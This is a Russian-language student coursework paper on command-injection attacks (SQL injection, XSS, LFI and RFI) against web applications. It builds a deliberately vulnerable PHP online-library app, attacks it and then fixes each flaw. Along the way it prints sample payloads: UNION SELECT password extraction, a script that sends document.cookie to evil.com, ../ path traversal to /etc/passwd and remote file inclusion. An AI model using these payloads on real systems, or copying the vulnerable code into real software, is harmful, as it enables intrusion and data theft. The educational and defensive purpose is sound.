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[bookmark: _Toc195453608]Введение 
Кибератаки представляют серьёзную угрозу для безопасности информационных систем. Среди них особое место занимают инъекции команд, позволяющие злоумышленникам изменять работу веб-приложений, получать несанкционированный доступ к данным и выполнять произвольные команды на сервере.
В этой работе рассматриваются четыре вида атак: SQL-инъекции (SQLi), межсайтовый скриптинг (XSS), локальное включение файлов (LFI) и удалённое включение файлов (RFI). Эти уязвимости входят в список OWASP TOP 10, что подтверждает их распространённость и высокий уровень опасности. Несмотря на наличие стандартных механизмов защиты, ошибки в коде и неправильная настройка серверов продолжают оставаться причиной успешных атак. [1]
Цель работы
Изучить механизмы атак типа инъекция команд, их влияние на безопасность веб-приложений и разработать рекомендации по защите. Сформировать перечень рекомендаций по противодействию атакам типа инъекция команд
Задачи
1. Рассмотреть принципы работы атак SQL-инъекций, XSS, LFI и RFI.
2. Разобрать примеры эксплуатации уязвимостей и их последствия.
3. Исследовать методы выявления атак с использованием инструментов тестирования.
4. Сформировать перечень мер защиты
5. Разработать тестовый веб-сайт с преднамеренными уязвимостями.
6. Провести атаки на созданное приложение и продемонстрировать их успешность.
7. Внедрить защитные механизмы и оценить их эффективность.
8. Сформировать рекомендации для разработчиков и специалистов по безопасности.
Работа сочетает в себе теоретическое исследование и практическую часть, включающую создание уязвимого веб-приложения, проведение атак и последующую реализацию защитных мер.
1. [bookmark: _Toc195453609]Основная часть
1.1 [bookmark: _Toc195453610]Обзор атак типа “инъекция команд”
Инъекция команд — это один из самых распространённых и опасных типов атак на веб-приложения. Суть атаки заключается в том, что злоумышленник передаёт специально сформированные данные, которые интерпретируются системой не как пользовательский ввод, а как часть команды или запроса. Это позволяет атакующему выполнять произвольные действия от имени приложения, обходить механизмы безопасности, получать несанкционированный доступ к данным и даже полностью контролировать сервер. [2]
Подобные атаки происходят из-за отсутствия или некорректной обработки входных данных, когда приложение доверяет введённой информации и передаёт её без фильтрации в критические системы: базы данных, файловую систему или интерпретаторы команд.
Ключевые виды атак, относящихся к инъекциям команд, включают:
· SQL-инъекции (SQLi) – атака на базу данных, позволяющая изменять, удалять или читать данные. [2] [7]
· Межсайтовый скриптинг (XSS) – внедрение вредоносного JavaScript-кода, выполняемого в браузере жертвы. [2]
· Локальное включение файлов (LFI) – доступ к локальным файлам сервера через уязвимые механизмы загрузки файлов. [2]
· Удалённое включение файлов (RFI) – загрузка и выполнение удалённых файлов, что может привести к полному захвату системы. [2]
Эти атаки давно известны и стабильно входят в список наиболее критичных уязвимостей OWASP TOP 10. Несмотря на развитие технологий защиты, уязвимости, связанные с инъекциями команд, продолжают появляться в современных системах из-за ошибок разработчиков и сложностей с безопасной обработкой данных. [1]
Далее рассмотрим принципы работы этих атак, их последствия и способы защиты.
1.2 [bookmark: _Toc195453611]Разбор ключевых атак
1.2.1 [bookmark: _Toc195453612]SQL Атаки
SQL-инъекция – это тип атаки, при котором злоумышленник вводит SQL-код через поля ввода, заставляя сервер выполнить непредусмотренные запросы. Уязвимость возникает, если приложение некорректно обрабатывает пользовательский ввод и передаёт его в базу данных без фильтрации. Это позволяет атакующему получить доступ к данным, изменить их, обойти аутентификацию или даже выполнить системные команды на сервере. [2]
Пример уязвимого кода:
$username = $_GET['username'];
$password = $_GET[‘password’];
$query = "SELECT * FROM users WHERE username = '$username' AND password = '$password";
Если злоумышленник введёт в поле username значение admin' --, то SQL-запрос примет вид:
SELECT * FROM users WHERE username = 'admin' --;
Две тире (--) превращают оставшуюся часть запроса в комментарий, что приводит к обходу проверки пароля.
В более сложных случаях атака может использовать вложенные подзапросы или команды объединения данных (UNION SELECT). Например, ввод:
' UNION SELECT username, password FROM users --
позволит злоумышленнику получить список пользователей и их пароли.
Последствия SQL-инъекций
· Кража данных – паролей, номеров кард, истории диалогов и прочих данных.
· Обход аутентификации, то есть вход в систему от имени пользователя без знания его пароля.
· Изменение или удаление данных. Например, выполнение запроса DELETE FROM users может полностью очистить таблицу.
· Выполнение команд на сервере из-за возможности некоторых баз данных запускать команды операционной системы, что даёт полный контроль над сервером. [5]
Методы защиты
1. Использование подготовленных запросов:
$stmt = $pdo->prepare("SELECT * FROM users WHERE username = :username");
$stmt->execute(['username' => $username]);
Здесь мы подставляем значение username в строку без символов, которые используются базой данных. Мы не позволяем злоумышленнику как-либо взаимодействовать с базой данных
2. Фильтрация входных данных путём исключения из запроса спецсимволов, например, заменять их на пустое значение, или блокировать.
$correct_username = str_replace("--", "", $username);
3. Ограничение прав доступа. Пользователь базы данных должен иметь только необходимые привилегии. [5]
SQL-инъекции остаются одной из самых распространённых уязвимостей, но их можно предотвратить при правильном подходе к обработке данных.
[bookmark: _Toc195453613]1.2.2 Межсайтовый скриптинг (XSS)
Межсайтовый скриптинг (Cross-Site Scripting, XSS) — это атака, при которой злоумышленник внедряет вредоносный JavaScript-код в веб-страницу, чтобы он выполнялся в браузере других пользователей. Уязвимость возникает, когда приложение не фильтрует пользовательский ввод и отображает его на странице без экранирования.
Механика атаки
Браузеры доверяют коду, загруженному с сайта, и выполняют его без дополнительной проверки. Если злоумышленник внедрит вредоносный скрипт, он выполнится в контексте доверенного сайта, что позволяет:
· Перехватывать cookie и сессионные данные.
· Выполнять действия от имени жертвы (например, менять настройки аккаунта).
· Встраивать фальшивые формы для кражи данных.
· Перенаправлять пользователей на фишинговые сайты. [1] [6]
Пример уязвимого кода
echo "<p>Комментарий: " . $_GET['comment'] . "</p>";
Если злоумышленник введёт в качестве комментария <script>alert('XSS')</script>, то Браузер выполнит этот скрипт. Такая атака может привести к краже данных пользователя. [2]
Последствия XSS
· Кража сессионных данных. Сценарий может отправить document.cookie на сервер злоумышленника.
· Фишинг. Можно подменить содержимое страницы, вставив фальшивую форму входа с отправкой данных.
· Автоматические действия. Злоумышленник может от имени жертвы совершать покупки, менять настройки аккаунта и т. д. [2] [6]
Методы защиты
1. Экранирование спецсимволов (замена <, > на &lt;, &gt;).
2. Использование Content Security Policy для ограничения выполнения скриптов.
3. Очистка пользовательского ввода - запрет  вставки тегов <script> и других потенциально опасных конструкций.
XSS — одна из самых распространённых атак, особенно в пользовательских формах и комментариях. Без надёжной фильтрации злоумышленники могут использовать её для получения контроля над аккаунтами пользователей. [6]
[bookmark: _Toc195453614]1.2.3 LFI (Local File Inclusion) и RFI (Remote File Inclusion)
LFI (Local File Inclusion) и RFI (Remote File Inclusion) — это атаки, позволяющие злоумышленнику загружать файлы в веб-приложение и выполнять их. Уязвимости возникают, когда пользовательский ввод используется в функциях, загружающих файлы без фильтрации.
LFI (Локальное включение файлов)
LFI позволяет загружать локальные файлы с сервера, если путь к ним формируется на основе пользовательского ввода.
Пример уязвимого кода:
$page = $_GET['page'];
include("pages/" . $page);
Если передать ?page=../../../../../etc/passwd, приложение загрузит файл /etc/passwd, содержащий список пользователей системы.
Последствия LFI:
· Чтение конфиденциальных файлов (пароли, конфигурации).
· Доступ к исходному коду скриптов.
· Выполнение кода на сервере, если загружается файл с вредоносным PHP-кодом.
RFI (Удалённое включение файлов)
RFI позволяет загружать файлы с удалённого сервера, что даёт злоумышленнику возможность выполнять произвольный код.
Пример уязвимого кода:
$page = $_GET['page'];
include($page);
При передаче в запрос ?page=http://test.ru/attack.php, сервер загрузит и выполнит удалённый PHP-скрипт.
Последствия RFI:
· Полный захват управления сервером.
· Выполнение произвольного кода.
· Использование сервера для атак на другие системы.
Методы защиты
1. Запрет динамического подключения файлов. Использование switch-case или whitelisting.
2. Ограничение доступа к критическим файлам. Настройки open_basedir в PHP.
3. Отключение удалённого включения файлов. В php.ini: 
allow_url_include = Off и allow_url_fopen = Off
4. Фильтрация пользовательского ввода путём исключения../ и других обходных конструкций.
LFI и RFI — критические уязвимости, которые могут привести к утечке данных и компрометации сервера. Правильная настройка файлового доступа и обработка входных данных помогают избежать атак. [7]
[bookmark: _Toc195453615]1.3 Анализ стандартов и рейтингов уязвимостей
Стандарты информационной безопасности помогают классифицировать уязвимости и определять методы их устранения. Они используются разработчиками, администраторами и специалистами по кибербезопасности для защиты веб-приложений от атак. Одним из наиболее авторитетных источников является OWASP TOP 10 — список самых критичных уязвимостей веб-приложений. В актуальной версии OWASP TOP 10 (2021) представлены следующие угрозы:
1. Broken Access Control — нарушение контроля доступа, позволяющее пользователям выполнять действия, на которые у них нет прав.
2. Cryptographic Failures — ошибки при обработке и хранении конфиденциальных данных, приводящие к утечке информации.
3. Injection (SQL, XSS, Command Injection) — передача неочищенных данных в SQL-запросы, командные оболочки или интерпретаторы, что даёт злоумышленнику возможность выполнять произвольные команды.
4. Insecure Design — ошибки в архитектуре приложений, приводящие к уязвимостям на этапе проектирования.
5. Security Misconfiguration — неправильная настройка безопасности, например, использование стандартных паролей или незащищённых API.
6. Vulnerable and Outdated Components — использование устаревших библиотек и зависимостей, содержащих известные уязвимости.
7. Identification and Authentication Failures — слабые механизмы аутентификации, позволяющие злоумышленнику обходить проверки личности.
8. Software and Data Integrity Failures — ошибки при проверке целостности данных и кода, например, подмена обновлений или вредоносные зависимости.
9. Security Logging and Monitoring Failures — отсутствие журналирования и мониторинга атак, что затрудняет их обнаружение и предотвращение.
10. Server-Side Request Forgery (SSRF) — отправка поддельных запросов от имени сервера к внутренним сервисам, что позволяет злоумышленнику получать несанкционированный доступ к данным. [1]
Помимо OWASP, широко применяется CWE (Common Weakness Enumeration) — база данных уязвимостей, в которой каждой угрозе присваивается уникальный идентификатор. Рассматриваемые угрозы и их номера в CWE указаны в таблице 1 [3]
Таблица 1
	Угроза
	Номер в CWE

	SQL injection
	CWE-89

	XSS
	CWE-79

	LFI/RFI
	CWE-22


Это позволяет стандартизировать классификацию уязвимостей и использовать единый подход при их выявлении.
Для оценки серьёзности угроз применяется CVSS (Common Vulnerability Scoring System), где уязвимости получают оценки от 0 до 10 в зависимости от их опасности. Соотношение угрозы и уровня опасности представлены в таблице 2. [4]
Таблица 2
	Угроза
	Оценка опасности (0 - 10) CVSS

	SQL injection
	8.8

	XSS
	5.2

	LFI
	8.5

	RFI
	9.5


Рейтинги и стандарты, такие как OWASP, CWE, CVSS и NIST, помогают анализировать риски, классифицировать уязвимости и разрабатывать эффективные меры защиты веб-приложений. Они являются основой для построения современной стратегии информационной безопасности. [1] [3] [4]
[bookmark: _Toc195453616]1.4 Методы выявления уязвимостей
Выявление уязвимостей — ключевой этап в обеспечении безопасности веб-приложений. Существует множество методов анализа, которые позволяют определить слабые места в системе и оценить её устойчивость к атакам. Эти методы делятся на автоматизированные (сканеры уязвимостей) и ручные (пентестинг, анализ кода). Важную роль в процессе тестирования играют специализированные инструменты, предназначенные для поиска уязвимостей и проверки их эксплуатационной пригодности.
Инструменты анализа уязвимостей
Существует несколько популярных инструментов, которые широко используются специалистами по безопасности для выявления уязвимостей в веб-приложениях.
· Burp Suite – мощный инструмент для анализа веб-трафика и тестирования уязвимостей. Позволяет перехватывать запросы между клиентом и сервером, модифицировать их, проводить автоматизированное и ручное тестирование безопасности. Включает встроенный сканер уязвимостей и модуль для поиска SQL-инъекций и XSS-атак.
· SQLmap – инструмент для автоматического обнаружения и эксплуатации SQL-инъекций. Позволяет проверять базы данных на уязвимости, извлекать данные, обходить аутентификацию и даже выполнять команды на сервере при наличии уязвимости.
· Nikto – сканер веб-серверов, который выявляет уязвимости в их конфигурации, небезопасные файлы, устаревшие программные версии и другие проблемы. Используется для общего анализа защищённости сервера.
· OWASP ZAP – автоматизированный инструмент от OWASP, предназначенный для поиска уязвимостей в веб-приложениях. Может работать как прокси-сервер, перехватывая и анализируя запросы, а также включает встроенный сканер уязвимостей. [2]
Использование этих инструментов позволяет проводить глубокий анализ системы на наличие уязвимостей и тестировать её на устойчивость к атакам. Однако автоматизированные средства не всегда могут выявить сложные уязвимости, поэтому их часто дополняют ручным тестированием. [2] [7]
Подходы к тестированию уязвимостей
Методы выявления уязвимостей делятся на два основных подхода: динамический анализ и статический анализ.
· Динамический анализ – тестирование веб-приложения в реальном времени, имитируя действия атакующего. Используется для выявления эксплуатационных уязвимостей, таких как SQL-инъекции, XSS, LFI/RFI. Пример: тестирование веб-приложения с помощью Burp Suite или SQLmap.
· Статический анализ – исследование исходного кода без выполнения программы. Позволяет обнаружить уязвимости на этапе разработки, но не даёт информации о том, насколько они реально эксплуатируемы. Используется в Secure SDLC (разработка безопасного кода).
Также существует интерактивное тестирование, которое комбинирует элементы динамического и статического анализа, выполняя код в контролируемой среде и отслеживая потенциальные уязвимости.
В зависимости от целей тестирования применяются различные методологии:
· Black Box (Чёрный ящик) – тестирование без знаний о внутреннем устройстве системы. Имитирует действия реального хакера, который не имеет информации о коде и архитектуре.
· White Box (Белый ящик) – тестирование с полным доступом к исходному коду и внутренним механизмам системы. Позволяет глубже анализировать уязвимости.
· Gray Box (Серый ящик) – промежуточный вариант, когда тестировщик имеет частичный доступ к информации о системе.
Эффективное выявление уязвимостей требует сочетания автоматизированных инструментов, ручного тестирования и анализа кода. Использование современных методик позволяет не только находить уязвимости, но и оценивать их влияние на безопасность веб-приложения. [7]


2. [bookmark: _Toc195453617]Практическая часть
В рамках практической части работы было принято решение разработать тестовое веб-приложение в виде упрощённой онлайн-библиотеки. Такой выбор обусловлен тем, что функционал библиотеки хорошо подходит для демонстрации различных уязвимостей, связанных с обработкой пользовательского ввода: поиск, отображение информации, работа с файлами, формы обратной связи и т.п.
Основная цель этой главы — продемонстрировать, каким образом внедряются уязвимости в процессе разработки, как они могут быть обнаружены и какие шаги необходимо предпринять для их устранения. Все примеры основаны на реальных сценариях, встречающихся в веб-приложениях: SQL-инъекция, межсайтовый скриптинг (XSS), локальное включение файлов (LFI).
Разработка велась с нуля, без использования фреймворков, чтобы иметь полный контроль над логикой обработки запросов и возможностью точно внедрять и устранять уязвимости. Серверная часть была реализована на языке PHP, а в качестве хранилища использовалась база данных SQLite, что позволило упростить запуск и тестирование.
Каждый кейс сопровождался:
· реализацией уязвимого сценария;
· примером его эксплуатации;
· анализом возможных решений;
· внедрением безопасной реализации;
· и финальной проверкой эффективности защиты.
Такой подход позволил не только теоретически изучить угрозы, но и практически понять их суть, повторив весь путь — от ошибки до устойчивой и безопасной реализации.
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На этапе проектирования функционала онлайн-библиотеки мы решили реализовать базовую возможность — поиск книг по имени автора. 
Для начала было решено сделать максимально простой прототип на PHP с базой данных SQLite. Таблица books уже содержала несколько записей, и задача сводилась к следующему:
· Получить значение author из GET-параметра.
· Сформировать SQL-запрос с оператором LIKE.
· Отобразить результат в виде HTML-таблицы.
Изначально получился следующий код:
if (isset($_GET['author'])) {
    $author = $_GET['author'];
    $query = "SELECT id, title, author, year FROM books WHERE author LIKE '%" . $author . "%'";
    $result = $db->query($query);
}
На первый взгляд — всё просто. Запрос работает, книги по Толстому и Достоевскому находятся. 
После реализации базового поиска мы перешли к этапу анализа безопасности. Было известно, что вставка параметров напрямую в SQL-запросы — опасная практика, особенно если она сопровождается кавычками, как в нашем LIKE '%" . $author . "%'.
Для проверки уязвимости в поле поиска авторов начали вводить специальные строки:
' OR 1=1 --
В результате вернулись все книги, даже при пустом вводе. Это подтвердило наличие SQL-инъекции.
Но для наглядной демонстрации более опасной формы атаки мы использовали:
' UNION SELECT id, username, password, 1 FROM secret_data --
И это сработало. Вместо книг на экране оказались логины и пароли из вспомогательной таблицы secret_data. Запрос превратился в:
SELECT id, title, author, year FROM books 
WHERE author LIKE '%' 
UNION SELECT id, username, password, 1 FROM secret_data --
Причина уязвимости — в отсутствии разделения данных и логики запроса. При прямой вставке пользователь сам пишет часть SQL-команды.
SQL не знает, что это пользователь, он просто видит команду, которую нужно выполнить.
При использовании конструкции UNION SELECT злоумышленник объединяет запрос с любыми другими таблицами. Если типы колонок совпадают по количеству и типу, то информация выводится из всех выбранных таблиц [2] [5]
Варианты защиты
1. Экранирование вручную (addslashes, mysqli_real_escape_string):
· Быстро
– Уязвимо при сложных типах данных и вложенных запросах
– Требует ручной работы, может быть забыто
2. Регулярные выражения и чёрные списки:
· Можно ограничить ввод
– Можно обойти, достаточно заменить UNION на UnIoN, использовать CHAR() и другие трюки
– Невозможно учесть все случаи
3. Подготовленные выражения (Prepared Statements):
· Самый надёжный и рекомендуемый способ
· Работает независимо от вводимых символов
· Прост в реализации
· Универсален
Реализация защиты [5]
Мы использовали PDO, который уже встроен в PHP и поддерживает подготовку запросов. Исправление заняло всего 2 строки:
$stmt = $db->prepare("SELECT id, title, author, year FROM books WHERE author LIKE :author");
$stmt->execute(['author' => "%" . $author . "%"]);
При этом запрос на уровне базы остаётся неизменным, но значение переменной author передаётся отдельно и воспринимается как строка, а не как код.
Почему мы выбрали именно этот подход
· Это официально рекомендованный способ защиты от SQL-инъекций (см. документацию OWASP, PDO, PostgreSQL).
· Мы можем использовать его и для других типов запросов (INSERT, DELETE, UPDATE).
· Он прост: меньше кода, нет сложных фильтров.
· Мы точно знаем, что SQL-инъекция невозможна: база сама проверяет синтаксис запроса и не позволяет интерпретировать данные как код.
Проверка защиты
После внедрения prepare() мы повторили атаку с тем же самым вредоносным вводом:
' UNION SELECT id, username, password, 1 FROM secret_data --
Запрос вернулся пустым, в логе ошибок также ничего не отобразилось. Всё работает, как должно.
Заключение
На примере этой уязвимости мы на практике увидели, как легко может быть взломано даже простейшее веб-приложение. Одного параметра в URL оказалось достаточно, чтобы получить доступ к конфиденциальной информации.
Внедрение защиты заняло всего несколько строк, но радикально изменило безопасность всего приложения. Это ещё раз доказывает, что защита должна быть встроена в саму архитектуру кода, а не добавляться в последний момент. [2] [5]
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На втором этапе разработки был добавлен раздел отзывов. Пользователь вводит отзыв о книге, который затем отображается на странице. 
· Пользователь вводит имя книги (book) и отзыв (review).
· Отзыв сразу отображается на странице под заголовком с названием книги.
Реализация выглядит так:
if (isset($_GET['review'])) {
    $book = $_GET['book'];
    $review = $_GET['review'];

    echo "<h2>Отзыв о книге: " . $book . "</h2>";
    echo "<p>" . $review . "</p>";
}
На тестах всё работало: пользователь писал, например, «Книга хорошая», и отзыв выводился.
На этапе тестирования решили проверить, что будет, если ввести HTML-код. Попробовали:
<b>Отличная книга</b>
HTML отработал, тег <b> сделал текст жирным. Значит, данные выводятся как есть, без фильтрации. Следующий логичный шаг — ввести JavaScript-код:
<script>alert('XSS!');</script>
Браузер моментально показал всплывающее окно. Это и есть XSS-уязвимость — межсайтовый скриптинг. Вредоносный код, внедрённый в HTML страницы, выполняется у пользователя.
Атака возможна просто через URL:
unsafe_script.php?book=Любая&review=<script>alert(1)</script>
Как это можно эксплуатировать
На практике XSS может быть использована для:
· Кражи cookies (и захвата сессии пользователя)
· Автоматической отправки форм
· Перенаправления пользователя на другой сайт
· Подделки содержимого страницы (фейковые формы входа)
· Встраивания вирусов и фишинга
Пример сложной атаки:
<script>
fetch('https://evil.com/steal?cookie=' + document.cookie)
</script>
Такой код украдёт сессионные данные и отправит злоумышленнику.
Важно понимать: браузер доверяет коду на сайте, и если сайт сам вставил скрипт — пользователь считает его безопасным. [6]
Этапы разработки уязвимого кода
1. Создали форму — поля book и review, передающиеся через GET-запрос.
2. Вывели значения напрямую через echo:
echo "<h2>Отзыв о книге: " . $book . "</h2>";
echo "<p>" . $review . "</p>";
3. Не применяли ни htmlspecialchars(), ни валидацию — считая, что это просто выводом текста.
4. Получили возможность внедрять HTML и JavaScript — что и есть XSS.
Анализ возможных решений
1. Фильтрация ключевых слов (<script>, onload, onclick)
· Примитивная защита
· Легко обойти через <ScRipT> или &lt;script&gt;
· Требует поддержания списка и регулярных обновлений
2.  Удаление всех HTML-тегов (strip_tags)
· Простой способ
· Удаляет даже полезные теги (<b>, <i>)
· Может поломать форматирование отзывов
3. Экранирование HTML через htmlspecialchars()
· Надёжная защита
· Официально рекомендована OWASP
· Не мешает отображению текста, сохраняет переносы и спецсимволы
· Лёгкая в реализации
Реализация защиты
В качестве финального решения мы выбрали htmlspecialchars():
$book = htmlspecialchars($_GET['book'], ENT_QUOTES, 'UTF-8');
$review = htmlspecialchars($_GET['review'], ENT_QUOTES, 'UTF-8');
echo "<h2>Отзыв о книге: " . $book . "</h2>";
echo "<p>" . nl2br($review) . "</p>";
Дополнительно используем nl2br() — функция преобразует символы переноса \n в HTML-теги <br>, сохраняя форматирование.
Почему это работает:
· Все < превращаются в &lt;
· " превращается в &quot;
· <script> больше не является тегом, а просто текстом
Браузер не выполнит код — он не увидит тега <script>.
Проверка результата
Повторяем ту же атаку:
<script>alert('XSS!');</script>
Результат:
&lt;script&gt;alert('XSS!');&lt;/script&gt;
Браузер показывает это как текст — никакого кода, никакого окна, никакой угрозы. [6]
Почему выбран именно этот способ
· Он стандартный и надёжный
· Не требует сторонних библиотек
· Легко масштабируется
· Не даёт пользователю вмешиваться в структуру HTML
· Совместим с безопасными CMS
На практике XSS — одна из самых распространённых уязвимостей. И она часто возникает не из-за сложных ошибок, а по простой невнимательности.
Решение — всегда экранировать пользовательский ввод перед отображением. Это обязательная защита, если вы хотите, чтобы ваш сайт не стал оружием в руках злоумышленника. [6]
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На одном из этапов разработки онлайн-библиотеки возникла идея реализовать чтение текстов книг, хранящихся в виде .txt файлов на сервере. Это удобно — можно добавлять книги, просто копируя файлы в папку books, без необходимости записывать их в базу данных.
Пользователь выбирает файл через GET-параметр book, и сервер отображает его содержимое. Мы хотели, чтобы:
· Файл подгружался по имени, указанному в URL.
· Пользователь видел содержимое книги как текст.
· Ничего не кешировалось, всё работало в реальном времени.
Первоначальная реализация
Вот как выглядел базовый код:
$baseDir = realpath(__DIR__ . '/books');
$book = $_GET['book'];
$targetPath = realpath($baseDir . '/' . $book);
$content = file_get_contents($targetPath);
echo nl2br(htmlspecialchars($content));
Тестирование показало, что всё работает: при запросе ?book=Анна Каренина.txt открывается содержимое файла
Но: сразу возник вопрос — а что будет, если в параметре указать ../unsafe_file.php?
И оказалось, что этот файл будет прочитан.
Что такое LFI
LFI (Local File Inclusion) — это уязвимость, которая позволяет злоумышленнику читать или исполнять произвольные файлы на сервере, если они передаются как часть пути и не проходят должную проверку.
В нашем случае путь к файлу формируется так:
$baseDir . '/' . $_GET['book']
А функция realpath() приводит путь к абсолютному. Если пользователь укажет ../.env, получится:
/var/www/site/books/../.env → /var/www/site/.env
То есть, мы выходим за пределы папки books, чего быть не должно.
Демонстрация атаки
Для демонстрации использовались такие запросы:
?book=../safe_file.php
Если файл существует и доступен для чтения, они выведется в браузер. Это прямая угроза: можно утянуть пароли, логи, конфиги, .env-файлы с токенами и ключами. [7]
Этапы разработки и выявления уязвимости
1. Создали базовую структуру — папка books, в неё помещены .txt файлы.
2. Написали код подключения — через file_get_contents() и путь books/{$book}.
3. Не учли переходы ../ — при тестах с некорректными именами мы получили доступ к файлам за пределами папки.
4. Использовали realpath() — и поняли, что она помогает, но только в сочетании с проверкой пути.
Варианты защиты
1. Жёсткая фильтрация имени файла
Можно разрешать только строго определённые названия (whitelist). Подходит, если список ограничен, но не универсален.
2.  Проверка пути через realpath() 
· Самый надёжный и универсальный способ.
· Сначала получаем абсолютный путь файла, затем сравниваем его с базовой директорией.
· Даже если пользователь подставил ../../../etc/passwd, realpath() приведёт путь, и сравнение покажет: путь вышел за рамки.
3.  Запрет на ../ вручную
· Работает, но не надёжен.
· Можно обойти с помощью %2e%2e и других трюков с URL кодированием.
Финальное решение
$baseDir = realpath(__DIR__ . '/books');
$book = $_GET['book'];
$targetPath = realpath($baseDir . '/' . $book);
if ($targetPath === false || strpos($targetPath, $baseDir) !== 0) {
    die("Ошибка: доступ к файлу запрещён.");
}
Почему это работает:
· realpath() превращает путь в полный абсолютный.
· Сравнение strpos($targetPath, $baseDir) !== 0 гарантирует, что путь не вышел за папку books.
После этого никакой ../ не сможет вывести файл вне разрешённой директории.
Результат
После реализации защиты:
· Попытка открыть ../safe_file.php вызывает ошибку «доступ запрещён».
· Вывести .env, access.log или /etc/passwd невозможно.
· Открываются только файлы из папки books, которые безопасны по определению.
LFI — один из самых опасных типов атак, потому что позволяет читать любой файл на сервере, включая пароли, SSH-ключи, куки, историю логов и даже исходники. А в некоторых конфигурациях PHP позволяет выполнить код, если включён auto_prepend_file.
Наша защита оказалась надёжной, простой и универсальной. Проверка через realpath() и сравнение с базовой директорией — это практика, применимая и для LFI, и для RFI, и для загрузки файлов пользователем. Именно поэтому мы и остановились на этом решении. [7]
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Проведённый практический эксперимент показал, насколько критично может сказаться даже одно неосторожное действие при работе с пользовательским вводом. Мы убедились, что распространённые уязвимости типа инъекция команд не требуют глубоких знаний со стороны злоумышленника — достаточно одного некорректно обработанного параметра в запросе.
В процессе работы были реализованы три ключевых сценария атак:
· SQL-инъекция — позволила с помощью конструкции UNION SELECT извлечь данные из закрытой таблицы с паролями;
· XSS — дал возможность выполнять произвольный JavaScript-код в браузере пользователя;
· LFI — позволял получить доступ к файлам за пределами разрешённой директории.
Каждая из уязвимостей была отработана на практике: сначала построен уязвимый сценарий, затем реализовано безопасное решение. Мы рассмотрели различные подходы к защите, оценили их достоинства и недостатки, и остановились на тех, которые отвечают современным стандартам информационной безопасности (OWASP, безопасная разработка, принцип наименьших привилегий).
Разработка всех примеров велась на платформе, доступной по адресу:
https://xelopat.ru/coursework/injection.php
Этот ресурс демонстрирует защищённые и уязвимые версии всех рассмотренных примеров, включая визуализацию атак и механизмов защиты.
Практика позволила закрепить теоретические знания и наглядно показать, как простые ошибки могут повлечь за собой серьёзные последствия. Полученные навыки и понимание принципов безопасной разработки крайне важны для любого специалиста, работающего в области веб-программирования и информационной безопасности. [2] [5] [6] [7]
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Курсовая работа была посвящена анализу и практической демонстрации атак типа «инъекция команд» — одного из самых опасных и при этом распространённых классов уязвимостей в сфере веб-безопасности. В рамках исследования удалось не только подробно рассмотреть механизмы реализации таких атак, но и воспроизвести их в контролируемой среде, что позволило глубже понять их особенности.
В теоретической части были изучены основные виды инъекций: SQL-инъекции, межсайтовый скриптинг (XSS), локальное и удалённое включение файлов (LFI/RFI). Особое внимание было уделено их классификации, механизмам воздействия на систему и способам предотвращения. Использование актуальных стандартов — OWASP Top 10, CWE, CVSS — помогло структурировать материал и отразить реальные риски, связанные с этими уязвимостями.
Практический этап включал разработку веб-приложения — онлайн-библиотеки, в которой были реализованы как уязвимые, так и безопасные сценарии. Такой подход дал возможность не только увидеть, как именно работают атаки, но и протестировать различные методы защиты: подготовленные выражения в SQL, экранирование пользовательского ввода в HTML, проверку абсолютных путей при работе с файлами. Каждый пример сопровождался пошаговым разбором, проверкой работоспособности и анализом результатов.
Сформированный опыт показал, насколько важно закладывать принципы безопасной разработки с самого начала. Уязвимости чаще всего возникают не из-за отсутствия инструментов защиты, а из-за недооценки рисков, связанных с внешним вводом. Даже простые ошибки — вроде неконтролируемой вставки значения в SQL-запрос — могут привести к серьёзным последствиям.
Работа позволила не только систематизировать знания, но и отработать их на практике. Созданная платформа может использоваться как учебный стенд для демонстрации и анализа уязвимостей, а также как основа для развития темы в сторону автоматизированного анализа кода или создания обучающих программ для начинающих разработчиков и специалистов по информационной безопасности.
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